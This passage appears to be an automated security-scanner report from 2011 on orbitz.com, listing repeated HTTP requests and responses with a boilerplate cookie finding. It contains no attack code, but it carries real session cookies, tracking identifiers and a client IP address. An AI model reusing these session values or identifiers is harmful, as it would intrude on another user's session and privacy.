NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Set-Cookie: OSC=3CAFC1764B7F8E6FA6842EB8D55CDFBA; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ Set-Cookie: partnerVisit=8162e4639; Domain=.orbitz.com; Path=/ Set-Cookie: partnerStamp=21611046; Domain=.orbitz.com; Path=/ Set-Cookie: owt=0; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Location: http://updates.orbitz.com Content-Type: text/html Content-Length: 0 Date: Wed, 02 Feb 2011 16:06:20 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/PrepareActivitiesHome?z=2ebc&r=f HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=DAA865414B3F6E058AA17586FF6E5F54; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:27 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 43692
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transition ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/PrepareDealsHome?z=2ebd&r=g HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=7792E3066C693DCF4AE33C8512720DC7; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:28 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 113149
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-t ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/PrepareFlightsTab?z=2eb9&r=c HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=8CBB5C5D3F872AB64B59A20929B92C0D; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|||mm/dd/yy|||||||||mm/dd/yy|mm/dd/yy||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||advanced|; Domain=.orbitz.com; Expires=Tue, 28-Jan-2031 16:06:25 GMT; Path=/ Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:25 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 156645
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/PrepareFlightsTab&type=el_dp HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/PrepareSearchResult HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=1B30AACC6B4556110C9686DE7436274A; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ Content-Type: text/html Date: Wed, 02 Feb 2011 16:11:52 GMT Content-Length: 175717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/PrepareVacationsHome?z=2eb7&r=a HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=B95023C24A6297BB2A97C5E41C0E2856; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:24 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 112238
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transiti ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/Sitemap?z=2edb&r=1a HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=7490BFC587B03172C0CF1BEEF6F5E0B4; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:11:48 GMT Content-Length: 34360
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/SubmitQuickSearch?z=2ebe&r=h HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=A473AE481AF0148C16EBAD58BC4AA48A; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:11:52 GMT Content-Length: 156615
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /App/ViewDHTMLCalendar?z=2ec5&r=o HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html ntCoent-Length: 936 Date: Tue, 01 Feb 2011 15:22:30 GMT Content-Length: 936
